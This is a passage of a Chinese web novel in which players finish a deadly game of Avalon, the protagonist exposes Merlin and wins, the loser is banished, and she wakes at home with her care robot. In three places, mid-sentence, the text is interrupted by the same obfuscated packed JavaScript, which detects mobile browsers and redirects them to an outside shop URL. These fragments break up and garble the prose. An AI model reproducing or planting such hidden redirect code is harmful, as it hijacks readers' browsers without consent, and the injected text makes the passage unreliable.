“预备人选选1是根据上轮票型定的,2、6已经站到一边去了,都猛打3、4、5里有匪,6还直接打我藏票,我确实没有办法带别的车,只能选1,可是……” 她似乎十分为难,千思万虑也不知道这话该怎么说出口似的:“其实……实话说吧……上轮发言1号直接说会投票,我心里是打了个问号的,票型出来1确实投了,我没有理由打她,因为她的行为做好,但我也没有完全放下她。” “我就觉得吧……真就这么简单?2、6双匪?1号怎么就那么肯定3、4、5是三好,外置位都敢投票的呢?” “是这个投票让我没那么笃定的,我能肯定2是匪,但1和6……6真的不会只是个认错了好人边的忠臣吗?” 之前打6打得好好的,这怎么突然改了风向要去把6给捞起来? 图塔多和王之栋都一脸惊讶地望着骆桑,尤其是王之栋,简直要惊掉下巴。 就连稳如泰山的6号都偏过了脸来。 那时骆桑正用无奈的神色看着6号,于是那成了6号整场游戏第一次和人对视,尽管只有短短两秒。 透过老实的黑框眼镜,他的目光显得有些迟钝,在骆桑身上顿了一下,又马上移开。 骆桑看到他眉间微微蹙起,黑框眼镜轻微晃了下。 “6号死打3、4、5里开红的理由,是他认为1、2不可能是双匪互打。我一开始也这么认为,毕竟1、2打得很凶,但我仔细想了想,觉得这一点,不再那么肯定了。” 骆桑继续,“可能是我想得多哈,有这么一个鬼故事,你们听听看。” “1、2双匪,因为位置的关系开局一同上车炸一票,然后非常做作地互打,让大家相信他们是一蓝一红。然后1用支持3、4、5来混上四人车,炸掉,好人们全都回头重新认2是好人,于是2就可以再炸掉一车,红方获胜。” …… 这个鬼故事听得王之栋一个激灵。 1、2双匪互打,他刚刚才见识过啊,好人非要在高翔宇和丽莎之中找出一蓝,差点翻车…… “当然,如果非得这么盘的话……唉,对我来说也很艰难,毕竟6号直接打我是匪。” 骆桑又朝6号看去,“6号你要真是蓝,就不要再打我,好人互打没有意义,你去打1、2双匪。” 这回6号不回应了。 “嗨,说这么多,但其实我不是要改车的意思。” 骆桑话锋又一转,“我没法改车,还是只能带1、3、4、5,没道理让1下让6上,我只是把想法说出来,让好人听听看。” 搞了半天不改车啊?…… “如果3号和5号觉得存在1、2双匪的可能性,可以不投票,把这车流掉,让5来重新带一车,反正5是好人嘛。” “到时候6号就还能有一轮发言的机会,我都这么给空间了,看他会怎么说吧。” “那就……先过。” 【请4号玩家在30秒内提出你的4人组确定人选。】 骆桑:“1、3、4、5。” 听到这个报数,小个子心头的石头才总算落地。 不是你到底在搞神马……直接报1、3、4、5不得了,绕那么一大圈有毛用? 【4号玩家组队1号,3号,4号和5号,请各位玩家在30秒内完成投票,弃票视为不同意。】 这次投票,王之栋犹豫了很久,几乎是抓着脑袋在最后关头才按下。 30秒后,机械声公布投票结果。 【同意的玩家有:1号,3号和4号。】 【不同意的玩家有:2号,5号和6号。】 【组队失败,本轮失败次数计1次。】 骆桑这一通说辞的结果是,王之栋变票了,不再同意1、3、4、5。 很明显了,王之栋是派西维尔,他把骆桑这个莫甘娜当梅林了,以为梅林在向他暗中递话,1、2是双匪。 【现在开始第3轮第2次组队,由5号玩家担任队长。】 【5号玩家,请在30秒内报出你的4人组预备人选。】 王之栋果然改了车:“3、4、5、6。” 【请6号玩家开始发言。】 突然被带上车,6号是惊讶的,他微低着头,手指头掐了下眉心,面色中有疑惑。 他思索了一会儿,还是摇头:“我还是不觉得1、2是双匪,也不知道4号为什么要这样说,1、4必出匪,都上车了为什么不开?” 这大概就是油盐不进的硬骨头。 骆桑那样说也并不是为了骗他,她感觉到了,他不好骗。 “3、4、5、6我不同意。” 轮轮都在说不同意。 “1、2出一个,4是匪。” 看法丝毫未变。 骆桑面无表情,倒是王之栋焦急起来,6号不同意的话,这车怕是要流。 “其他没有,过。” 还是那么惜字如金。 【请1号玩家开始发言。】 小个子这波就必须得输出了:“拜托——!这车还能改的?4号5号你们在搞神马?” “2、6不明显一个团队吗?这么明显居然把我换下去,把换6上去,这什么智障操作啊我的天呐!” 小个子看样子是要刚到底了。 这是骆桑教给她的第二件事:《阿瓦隆》这个游戏,绝不能轻易认匪,轮轮辩轮轮辩,早晚会有人把你重新捡起来,带你上车。 这还只是第三轮车而已,就算上不了,3、4、5、6发成了,也会炸,然后就有机会了。 “5号,你必须把这车给我改回来,1、3、4、5,就1、3、4、5!一个都不要动,只有这个组合能开绿!” 王之栋只觉得头大,假装没听见。 小个子最后咆哮:“听懂了没,给我改回来!” “我过!” 【请2号玩家开始发言。】 “呵……真有意思,4号这玩的什么无间道?” 大波浪卷这波倒是不急了,反笑起来,“你不会是想骗6号吧?啊哈,那你可真是想多了,6号这种冥顽不灵的,骗他还不如骗我呢。” 骆桑淡淡笑,是的领教了,谢谢。 1、3、4、5没开成,大波浪卷的心情一下就美丽了,刚才破罐子破摔的做派也收了起来,不紧不慢道:“3、4、5、6这车也开不了的,6认4是匪,不会投票的,1也不敢投,投了就是认匪。你们凑不齐四票。” “干脆流了让6带吧。” “过。” 【请3号玩家开始发言。】 “我、的、天……” 图塔多双手抱脑袋,两眼睁大,跟挨了个大逼兜子似的。 这天是怎么变的,他愣是没看懂,好好的1、3、4、5,怎么变成3、4、5、6的? “真认1、2双匪?这……” 正宗黑人问号脸,“这怎么可能嘛?” “OMG,超级无语,这怎么 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16715723|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 同意?可是这车要是流了就是6号带……” 图塔多要疯,十根手指在满头小卷卷上抓来抓去。 “我再想想,再想想……过。” 【请4号玩家开始发言。】 “嗨,我只是说了一个猜想,又不是一定,5号觉得有道理就改了呗。” 骆桑嘴上这么说,表情却明显乐见其成,还有一种功成身退,甘为人梯的大度,“其实在我这里,1、3、4、5和3、4、5、6都可以,反正还有一轮容错,试一车也不会出问题,就算真炸了,四个好人也明了,来得及的。” 这话图塔多听着真想揍人,小个子也不理解。 只有王之栋觉得很顺耳,感觉这波和“梅林”暗打配合非常成功。 “先试哪个组合,听5号的,过。” 【请5号玩家开始发言。】 有骆桑的话放在这儿,王之栋觉得很有底。 “我是被4号说的那个鬼故事打动了,觉得6号还真有可能是那个晕头好人,所以决定干脆先试试6。” “其实怎么弄问题都不大,你们看,2号肯定是狼对吧,也就是1、6分不出来,还有三轮呢,错一轮不要紧,好人肯定能赢。” “1号你不用着急,我们先试一把3、4、5、6,炸了你就站起来打了。” 小个子:…… “过。” 【请5号玩家在30秒内提出你的3人组确定人选。】 王之栋:“3、4、5、6。” 【5号玩家组队3号,4号5号和6号,请各位玩家在30秒内完成投票,弃票视为不同意。】 骆桑投[同意]。 30秒后,机械声公布投票结果。 【同意的玩家有:3号,4号和5号。】 【不同意的玩家有:1号,2号和6号。】 【组队失败,本轮失败次数计2次。】 失不失败的都不是重点,重点是,3、4、5、6的车,5号投了同意。 骆桑唇角抿出一丝浅笑。 正中下怀,要的就是派西维尔的这一票。 【现在开始第3轮第3次组队,由6号玩家担任队长。】 【6号玩家,请在30秒内报出你的4人组预备人选。】 6号:“2、3、5、6。” 精准地报出了四蓝。 【请1号玩家开始发言。】 “我只同意1、3、4、5,其他都不同意。” 小个子斩钉截铁,“6的车直接流掉,我来带。” “过。” 【请2号玩家开始发言。】 “2、3、5、6……”大波浪卷盘算着,“1是定匪,3、4、5里再开一个,6认4是匪……emm……” “可以啊。”她郑重点头,“这个车可以试试,开开看。” “我会投票,过。” 【请3号玩家开始发言。】 “我说4、5你们就是在瞎搞,看嘛,能开得起来吗?连6都不同意!” 图塔多有点气愤了,眼见的大好局势给搞成这样。 “我可给你们投票了的啊,有啥用?乖乖地开1、3、4、5不就开起来了吗?” “算了算了不说了,6的车流掉,让1来带1、3、4、5。” “过。” 【请4号玩家开始发言。】 再次轮到骆桑,这次,她的神色同之前已大不相同。 她悠然靠坐在位置上,嘴边噙着一丝笑,仿佛已洞悉一切。 大大方方摆出这副表情已是惊人,而她说出的话更震惊全场! “6打我是匪,没错,我是匪,我是莫甘娜。” 22.游戏屋·阿瓦隆一6 略带俏皮的嗓音在空气中回旋,全场在一瞬间静默。 4号……认匪了? 小个子的脸一下垮掉:骆桑你在搞神马!你认匪是闹哪样! 王之栋惊得嘴都合不上:她……不是梅林吗?认莫甘娜是什么高级套路? 图塔多是整个愣住,仿佛没听清。 大波浪卷也睁大眼睛看过来。 只有6号依然淡定。 骆桑稳稳坐着,根本不去观察周围人的表情,只淡淡说道: “不必再藏了,游戏已经结束。” “因为,已经找到梅林了。” …… 这回,是更长的静默。 “我跟5号之前玩过一把《阿瓦隆》,这是第二把。上一把我是派西维尔,他是梅林,我全程没跳,最后成功替他挡刀。这一把,5号第一轮发言时十分纠结要不要跳派,鉴于上一把成功的先例,最终选择了不跳。” 骆桑看向王之栋,浅笑着,“对吧,派西维尔?” 王之栋直起一身鸡皮疙瘩。 骆桑:“然后你也不想上车,就让1、2发,为什么?” “因为你能看见的两个人,一个是我,一个在1、2里,你想看看1、2会不会炸车,以此来判断谁是梅林。” “可是1是我队友啊,那不就只剩……” “2了。” 王之栋一张国字脸僵成了方块。 大波浪卷呆了一瞬间,然后耸肩一笑,仿佛听到了什么世纪大笑话。 “很高兴你还能笑得出来,2号。” 骆桑始终淡笑着,“我当然不是因为这一点就锁定你是梅林,这只是马后炮。” “你很像梅林的点,一个是一开始你就不想跟1上车,怕炸了派西维尔就不再信你。但派又没跳,你只能硬着头皮上车,连反对都不敢出。” “第二个很像梅林的点,是你强挺6号的理由。你说6号拿匪的时候话更多,所以认6是好人,这个理由我听着并没有什么不妥,我不认识6嘛,但却被认识6的3号给戳破了。我才知道,原来6号并没有你说的这个特点。” “当时我就在想,你为什么要说假话来保6,想来想去只有一种解释。” “你是梅林,你知道6号是好人,但又找不出什么有公信力的理由来保他。当时你要带2、3、6的车,必须得给出理由,3号可以用状态,6号却不好办。好在那时候你需要得到认可的人只有一个5号,5号跟你们又不认识,于是你心想随便找个理由让他信就行,可惜弄巧成拙,反倒让3号不再信你了。” “我说得对吗,2号?” 温柔中略带俏皮的嗓音,本是十分悦耳,此刻听在大波浪卷的耳朵里却像一根尖刺。 “当然,这依然不足以证明你就是梅林,场上有一个比你更像梅林的人,6号。” 骆桑继续,“在6号一个忠臣的视角里,3、4、5必开匪,所以1、2里反对3、4、5的那个人就是好人,并且因为3、4、5都同意这车,所以3、4、5里连梅林都没有,于是6号早早地就明白了,2是梅林。” “2号怕暴露视角,一直只认3、4、5里开匪,却不敢直接点出我4号。这件事只有6号敢,大胆点我,不怕被怀疑是梅林。” “不过6号是怎么知道我是匪的呢?我也大致梳理了一下。” “首先6号熟悉3号,2号说3号拿匪时状态没这么好,这应该是公认的,所以3号能排除。5号呢,在3、4、5发车做任务的时候非常紧张,直到公布任务成功才松了一口气,5号是在那个时候才坚信了我是梅林的吧。这些表现6号也都看见了,红方一般不至于这么做作,所以他就大胆猜测我是那个匪,从那之后就一直打我。” “6号没打错过人,没投错过票,完全拿得起一张梅林牌,所以我一直不敢肯定2和6里面究竟谁是梅林。” “这把游戏要靠炸三车赢不是那么容易,3、4、5我必须藏一轮,但是下个四人车就必须炸了,可无论开什么四人车,只要是我同意的车,一旦炸了,5号这个派西维尔都会立刻醒悟我不是梅林,弃暗投明,从此跟2走,我们没有机会炸三车。” “于是我只能想办法找出梅林,趁派西维尔还相信我。” “《阿瓦隆》这个游戏里,派西维尔最不愿看到的一种车型,就是梅莫同车,也就是,梅林和莫甘娜同时上车。因为这显而易见车上必有坏人,而且对派西维尔来说毫无信息增益,无论车炸不炸,都无法帮助他区分谁是梅林谁是莫甘娜。” “我不知道2和6谁是,但派西维尔知道,得让他告诉我。所以1、3、4、5这个车不能开,因为没用,就炸这一轮,红方就玩完了。我必须改车,改到5号把2和6的其中之一带上车” “——跟我一起!” 王之栋的身体止不住发起颤来,现在再看骆桑的眼神,仿佛在看一个魔鬼! 骆桑却依然语调舒缓:“上一把《阿瓦隆》,5号刚体验过1、2双匪互打,这么盘他很容易共情,真的认可了这种可能性,于是把6带上了车。” “是5号带的3、4、5、6,并且投了同意票,这就不可能是假装了。” “派西维尔不会让梅林和莫甘娜一同上车的,所以,5号看到的另一个人,不是6号。” “那就……只剩2号了。” 至此,大波浪卷脸上的笑容彻底僵掉。 “我说完了,1号,刺2。” 这波分析,小个子从震惊到疑惑,疑惑到窃喜,最后到恍然大悟,如今只剩一句感叹:亏得我跟大佬一边哦! 得到指示,小个子高高举起手,大喊一声:“我是刺客,我要发动技能!” 机械声应时回应:【1号玩家翻牌为刺客,请刺客选择你要刺杀的目标。】 小个子:“2号。” 【刺客选择刺杀2号。】 【2号玩家翻牌为梅林,刺杀成功。】 【游戏结束,红方阵营获胜。】 * 安静的《阿瓦隆》游戏室里,机械声的播报回音落下,仿佛一记敲下的法槌,胜负已宣判。 被精准刺中的梅林大波浪卷极力压制着激愤,手握成拳,长而尖的假指甲几乎要嵌进肉里。 而王之栋则是彻底懵掉,难以置信地看了眼骆桑,又垂下头去,双掌抱住后脑勺,肠子都悔青了。 除了6号依旧是波澜不惊,有种过尽千帆的从容,图塔多也显得轻松,好像没把输掉当多大回事。 自骆桑发言到一半起,他就一直盯着骆桑,两只眼睛睁老大,不断冒出小心心。这会儿宣布游戏结束了,他张大口就是一声:“哇——塞——!这个小姐姐也太秀啦——!” “原来《阿瓦隆》还能这么玩,卧槽真是长见识了,被你骗得心服口服!” “4号小姐姐,你是我的神,《阿瓦隆》之神,哦——耶——!” 这小黑哥毫不掩盖内心的佩服,也毫不吝啬赞美之词。 骆桑被夸得有些不好意思,朝他笑着点点头:“承让。” 这时,机械声又响起了:【现在开始败方放逐投票。】 应声,2、3、5、6四个位置上分别升起来一个投票机,选项不再是[同意]和[不同意],而刚刚好就是2、3、5、6四个号码。 败方放逐投票……难不成就是之前他们屡次提到过的……分锅? 【败方阵营成员,请选出你认为在本局游戏中,导致你方失败责任最大的玩家。请在五分钟之内进行投票,超时视为弃票。】 【放逐投票环节可自由讨论,但禁止暴力干涉他人投票。】 投票机刚升起来,大波浪卷想都没想就按下了一个数字,然后气冲冲地冲其他人吆喝:“没什么好讨论的,全部给我投5!” 王之栋脸色煞白。 他是派西维尔,是他的错误出卖了梅林的位置,才导致梅林被刺中,他百口莫辩。 图塔多一脸惋惜对王之栋摇摇头:“抱歉了哥们儿。” 也伸手要去按键。 “等等!”王之栋急忙叫住他,声音都在发抖,“放逐是什么意思?会……会怎么样?” 图塔多支支吾吾地:“这个嘛……我也不大清楚噢。” “会死。” 大波浪卷干干脆脆吐出两个字,“蠢货不配活着,就这么简单。” “……” 王之栋整个瘫倒在椅子里。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16724703|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>要被处死吗?骆桑心下也是一凛。 阵营对抗的游戏,输赢的确常常不由自己把控,一个猪队友就很可能带崩团队,迷之自信的昏头好人常常是最气人的,就像这把的图塔多和王之栋。 但输了就是输了,一个阵营的人都输了,还非要把导致输的那个人揪出来吗? 就好像,即便输了,没有犯错,或者犯错少的成员还是可以得到保护。就像大波浪卷说的那样,只有蠢货不配活着…… ……为什么? 王之栋不甘心,反驳大波浪卷道:“怎么就都是我的责任,你是梅林你还跟1号上车,你明明知道1是红为什么同意?” “可笑!”大波浪卷一脸鄙夷,“梅林得装猪都不懂?我能不同意吗,所有人都同意就我一个反对,那我不是裸出来的梅林?” “我要不同意4号第一轮就刺我了!别在这儿丢人现眼了蠢货!” 跟蠢货多说一句都是浪费口水,大波浪卷直接督促图塔多投票:“快点,投完走了。” 听到大波浪卷说走,骆桑这才注意到,不知什么时候,6号位的座椅上已经空空如也。游戏室的大门不知何时被打开了,6号不知所踪。 哈?这人是什么时候离开的啊,怎么一点印象都没有…… “阿雨已经走了。”图塔多对大波浪卷说,“他好像又没投票。” 大波浪卷不甚在意:“别管他,有我们两票够了。” 图塔多正要投票,却被王之栋拉住:“投2,我们一起投2!” 王之栋绝境之下急中生智,想要拉拢图塔多,“这个女人不是善茬,不要听她的,你现在听她的,早晚有一天她也要弄你!不如我们把她一起放逐了,我玩得不好,对你也没有威胁。” 大波浪卷听到这话冷笑出声:“不但是蠢货,还没种!” 图塔多眼睛鼻子都揪作一团,还是把王之栋拉着他的手扯开了,叹了口气道:“唉,哥们儿,不是这么算的,这一把梅林没做错什么,没道理投2,就算不是你,也该轮到我。可我是忠臣,你是派西维尔嘛,能力越大责任越大,怎么算你都排第一个。” “……”这螺丝刀都拧不弯的思路把王之栋彻底打败了。 看到图塔多投了5,王之栋无力地从桌沿边滑到地上。 他浑身都在抖,几乎要啜泣出来。 大局已经,大波浪卷转身就走出了游戏室。 图塔多暂时没走,拍了拍王之栋的肩膀:“哥们儿,想开点,在这儿玩游戏本来就是赌命。” “你可真狠!”王之栋突然抬起脸,咬着牙狠狠说。 图塔多愣了下,觉得这是无妄之灾,本想回击,却发现王之栋并不是在朝着他说。 王之栋跪坐在地上,向上投去的眼神穿过了图塔多,投到了他身后。 图塔多跟随那眼神回头,一下就看到了身后他的新晋女神小姐姐。 骆桑后知后觉这才反应过来,王之栋是在说她。 王之栋:“你这么厉害,明明有其他方式可以赢,偏偏要踩着我赢,一起从阿瓦隆岛出来的,一点余地都不留。” “真是狠!” 字字句句都是埋怨。 骆桑没应声,偏过脸去。 见自家功臣被喷,小个子哪能乐意,小小的身躯蹿上来挡在骆桑前面:“不要脸的烂黄瓜,又烂又没种!” 骆桑:“……” 这有点过了,她拉拉小个子,“算了算了,他也挺可怜的。” 王之栋发出一阵凄凉的笑声,很快,机械声响了: 【放逐投票结束。】 【2号,3号玩家投给5号。】 【5号,6号玩家弃票。】 【5号玩家被放逐。】 音落的一瞬间,王之栋整个人一下消失了。 好像魔术师手中的鸽子,就在几人的眼皮底下,消失了…… 【请所有玩家回到各自的休息室。】 震惊之余,骆桑问图塔多:“真的是被处死了吗?” 图塔多对女神有问必答:“我运气好,一直没有被放逐,所以也不确定。只是听说会被送去一个跟死也差不多的地方,之前我看到过的被放逐的人,一个都没见回来。” 23.小屋2 在机械声的催促中,顺着通道走向自己的休息室。 推开门,一道强烈的白光投射过来,骆桑不由得闭上眼。 很熟悉的感觉,就像阿勤的小屏幕发出来的那种异常白光,像一盏凭空出现的聚光灯,白光将人包裹,并很快意识模糊。 一切来得猝不及防,再睁开眼时,竟又重新回到了那间出租小屋,自己依然坐在那把旧轮椅上,面前还是那扇紧闭着的窗户,窗外明月高挂,像个饼。 眼球追踪装置的灯亮着,显示屏上显示着一条正在执行的指令:[今晚编设的指令,全部删除。]然后某条待删除指令正弹出来,上面浮着一个[确认删除]的按钮,一下下闪着,等待主人确认。 还以为游戏流程结束后能有时间和其他玩家沟通一下,想不到就这么突然间戛然而止。 一切仿佛回到了骆桑被瞬移至游戏屋世界的那个瞬间,时间被完美接续,就好像去往游戏屋玩的那场《阿瓦隆》只是时间进度条里一个无限小的点。 唯一的区别是那道白光没有了,骆桑下意识挪动视线去看阿勤。 阿勤依旧站在她身边,白炽灯化的小屏幕正暗淡下去,电源LED呈最低亮度。 看上去是关机了,安安静静的,快成个普通大件白色家电。 “阿勤?” 骆桑开口叫阿勤,她发现,她发出的音更加清晰了,指挥声带也不再那么费劲。 真的有奖赏,游戏刚赢就到账! 游戏屋诚不欺我! “阿勤……开机……” 阿勤装有24小时待命的监听装置,只要电池还有最低电量,最低限度的监听反射就能运转。 这个最低限度的监听,就是监听骆桑的声音。 “滴滴——”阿勤的电源LED闪了两下,小屏幕渐渐发出淡淡的LED蓝光,和她进行过的无数次启动一样,显示出一句话 ——[阿懒不要生气嘛,阿勤在起床啦!]后面跟个讨好脸表情。 这是第一次,骆桑看到这句话时不是无语,而是欣慰。 阿勤回来了! 很快,阿勤启动完成,两只摄像头眼睛滴溜转起来,元气满满报告:“阿勤听到阿懒的呼唤了,阿勤没有睡懒觉!” “阿勤……你……刚才……” 骆桑立即想询问的是阿勤的状况,她被入侵了,现在似乎又被释放,那她…… “刚才,什么?”阿勤的小屏幕上显示出一个小问号。 “刚才……发生的……发生……”骆桑发音还不那么自由,只能缓慢地一个字一个字地吐。 可即便这样她也要自己说话,什么劳什子眼球追踪器,一天也不想再用好伐! “刚才……你在……干什么?” “阿勤刚才在干什么?” 小屏幕上出现点点点,然后阿勤转动上身当摇头,“阿勤没干什么。阿懒叫阿勤去重启,阿勤去重启,然后阿勤听到姐姐的声音,就回来了,原来说话的是阿懒,嘻~” “吧嗒——” 阿勤转动上身时,什么东西落地的声音响起。 是从阿勤手里滑落的东西。 骆桑这才注意到,阿勤刚才手里拿着一样物品,之前没有的,是她从游戏屋回来后多出来的东西。 并且阿勤并不知道自己手上多了个东西,一不小心都给拿丢了。 阿勤对发生的事是真的一无所知啊,就好像她的系统被人临时借用,却没有留下任何使用过的痕迹。系统的主人丝毫没有感觉到,自己被入侵了。 “咦?”阿勤从地上捡起来她拿丢的东西,“这是什么?” 骆桑垂眼去看——那竟是一副实体桌游,《阿瓦隆》! 从前没少在桌游吧混,这盒子她一眼就能认出来。 “阿勤……打开……”骆桑说。 真是越来越离谱,人工智能被入侵,渐冻症可逆,人体瞬移,现在桌游盒也瞬移了…… 还有什么她想不到的,尽管来。 阿勤打开了盒子,里面整整齐齐摆放着几摞卡牌。 骆桑大致扫了下,游戏中需要的各类卡牌都有,唯独缺少的是,身份卡牌的那一摞,只有两张。 骆桑:“身……身份卡……” 阿勤心领神会,用她高精度的机械手指将两张身份卡提溜起来,分开,并列举着给骆桑看。 一张是派西维尔,一张是莫甘娜。 哦……骆桑懂了,这不就是她刚玩过的两把中,分别抽到的身份吗? 玩过什么角色,就收集到一张对应的角色卡? 《阿瓦隆》里的身份还有好几个,强烈怀疑这是在鼓励集邮。 “收好。”骆桑吩咐阿勤。 “好的阿懒。”阿勤把卡牌收回盒子,又把盒子规规矩矩放到一边的书架上。 骆桑:“下一局……游戏……什么……时候……” 阿勤返回时,听到骆桑这样问。 她不理解:“阿懒,什么游戏?” “……”骆桑卡住。 阿勤又不知道,问她做什么。 她是太心急,她贪婪地想要获得更多奖赏,越多越好越快越好。她想更流畅地说话,想自己穿衣吃饭,想站起来,想跑啊跳啊。 她太想了…… “阿懒,什么游戏?”没有得到答案,阿勤又问。 骆桑深呼吸,平复了下混乱的思绪,才道:“阿勤……联系……菠萝。” 阿勤的摄像头眼睛亮了亮,好似摆着一副疑惑的表情看着骆桑:“阿懒,现在是深夜两点,菠萝肯定在呼呼睡大觉,你确定要现在联系菠萝?” 骆桑的确忘了现在还是后半夜这件事,一连发生的奇异事件把她的瞌睡虫都赶走了。 菠萝可以说百分之一千在睡大觉,她一天24小时能有12小时以上都在打呼噜,还打得震天响。她还放过狠话,谁打搅她睡觉,她就在谁头上拉屎。 菠萝才是那个真正的大懒虫。 但是,那都不是理由,这么奇葩的事件,而且关乎阿勤,不得第一时间告知她? 冒着被头上拉屎的风险,骆桑回答阿勤:“对。” 阿勤便给菠萝打电话,电话打通了,铃声响了很久,对面却一直没有接通。 好吧,看来和预想的一样,真是在睡觉,手机设置了免打扰。 阿勤:“那阿勤给菠萝留言吧,让她醒了就打过来,好吗阿懒?” 骆桑:“好。” 阿勤:“阿懒,很晚了,你该休息了,阿勤帮你换衣服。” 骆桑的确十分疲倦,在她的感觉里,自己是连着玩了3场游戏,是该休息了。 但是…… “阿勤……我还想……看看……监控……” !阿勤的小屏幕上跳出一个小感叹号:“现在?” 骆桑默了两秒,最后还是否定了:“不了……明早……” * 在阿勤的照顾下,骆桑睡了几个小时,一直到天大亮,才缓缓苏醒。 和煦的阳光从窗户照进来,在卧室里撒出一块长方形的光斑,长方形的一个角就落在床尾,仿佛只要一伸腿就能踢进暖洋洋的光线里。 微风托着窗帘轻轻拂动,外面的一切也都在复苏,传进些许鸟鸣,和树叶的沙沙声。 骆桑静静躺着,一动不动,没有开口叫阿勤。 昨夜发生的一切太过离奇,一觉醒来依然觉得脑子很懵,有种恍若隔世的不真实感。尤其是那照进来的阳光,稀稀薄薄的,像一层轻纱,那种质感竟让她回想起阿瓦隆岛上笼罩的薄雾。 就好像,那阳光并不是真的。 或许只是因为,她本不该再看到今天的日出的…… 这是新的一天了。 骆桑就那么呆呆地看着眼前的一切,过了一会儿,门外传来滚轮声。 每次骆桑睡着后,阿勤都会悄悄回自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16739227|186886||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己房间,留给她一个绝对安静又无光的睡眠环境。而她的各项生命体征都被套在手腕上的手环实时监控着,一旦有异样,阿勤即刻就到。 清晨,呼吸和心跳频率的些微改变,阿勤就知道,骆桑醒了。 “吱嘎”一声,门被轻轻推开,然后是一阵舒缓悦耳的轻音乐。 阿勤推着一个小推车进门,小屏幕上显示着正快乐跳动的音符:“阿懒早上好呀~” 每天早上,阿勤都会推着这个小推车出现。 小推车分好几层,上层放着消毒喷雾、鼻饲喂养器、和早餐营养液,中层放着一个口腔护理包,里面有牙刷、海绵棒、压舌板、吸痰器,漱口杯等物品,下层则放着一盆热水,几张干毛巾,和一些护理垫。 阿勤来到床边,先用摄像头眼睛观察骆桑的状态,小屏幕上的音符发出绿色的光:“阿懒你看起来很不错哟,接下来我们开始起床了哦~” 万年不变的步骤,阿勤把床头摇起来,让骆桑半坐着,帮她进行口腔清洁,洗脸,然后把营养液灌进她的胃里,最后伸出长长的机械臂,把她抱到轮椅上坐好,推到窗边吸吸新鲜的空气。 机械臂和机械手动作比人类缓慢,等阿勤做完这些,往往都过去了一个小时。 书桌上的闹钟显示已是上午十点。 这个时间于平时而言算很晚了,但如果要联系菠萝,那又太早了。 菠萝是肯定要12点以后才会起床的。 不必死等,骆桑对阿勤说:“阿勤……我先看……监控……” 阿勤还在整理床铺,听到骆桑的要求,放下手里的被褥,过来操作显示屏。 很快,显示屏上同时出现了几个画面,阿勤挑出其中一个放大给骆桑看。 画面来自某个实时监控摄像头,摄像头自斜上方往下投去,框出一片私家小花园。 小花园里摆放着许多花盆,里面精心种植着各式各样的花朵和盆栽,一位中年妇女正提着洒水壶为这些植物浇水。 一切看似稀松平常,但多看一眼就会发现奇怪之处。 这些花盆不是寻常的成排或成行地摆放,而是被摆成了一个大圆圈,就像一群小孩做游戏手拉手绕圈圈一样。并且这个大圆圈只有一层,没有任何一个花盆放在另一个花盆的后面。 花盆之间并不紧挨着,都留出一些空隙,而每个花盆的旁边都立着一个小支架,小支架的顶端则都挂着一个铃铛。 微风吹过,铃铛发出叮叮当当的响声,浇花的中年妇女就跟着这些声音走到圆圈中间。她一手提着洒水壶,另一手拿着根拐杖。但拐杖不是拄着,而是左左右右点着前方的地面,边点边缓慢朝前走。当她的拐杖触到一个挂着铃铛的支架,她就停下来,浇水。 显而易见,这位中年妇女是个盲人,花盆是专程为她这样摆放的,铃铛也是专程为她而挂。 摄像头能照出她的背影,从她端直的站姿和稳健的动作能看出,除了眼盲,她的身体状态其实非常好。 “姐姐的妈咪每天都在浇花呢。”阿勤对着监控画面说。 骆桑没应声,她的目光落在那盲人妇女身上,一刻也不曾移开。 盲人妇女浇完远侧的花,转身朝近的一侧走。 这回,她的脸转了过来,朝向了摄像头。 骆桑在那一刹那屏住呼吸。 恍惚间,她似乎看到了一张年过半百却风韵犹存的女人的面庞,五官端庄,神采奕奕,眼神温柔而从容。 可那张脸她并没有见过,她只见过一张和那相似的,却年轻十岁的脸。 骆桑知道那是幻觉,不由闭上眼,深深呼吸,直到心绪平复才敢重新睁开。 再睁眼,赤|裸裸的现实终于呈现 ——中年妇女精神饱满,却掩盖不住那张面目全非的脸!额头、眼睑、嘴角、下巴……无处不爬满了严重烧伤留下的痕迹,疤痕像一条条盘踞在溃烂皮肤上的肉虫,将那张脸涂抹得面目狰狞…… 24.小屋3·游戏屋·阿瓦隆二1 几年前的那一天,十六岁的骆桑正走在回家的路上。 那时骆桑还不叫骆桑,叫叶桑,因为出生的时候老家的桑叶刚绿,母亲就给她起了这个名字。 那时候,骆桑家住在一个新建的小区里,因为是第一批搬进来的住户,大量业主都还在装修,进出人员杂乱,小区的安保管理很松散。 骆桑走进小区大门时并没有察觉,自己被人尾随了。 家中只有自己和母亲两人,母亲非常喜欢种些花花草草,就买的一楼带院子的洋房。 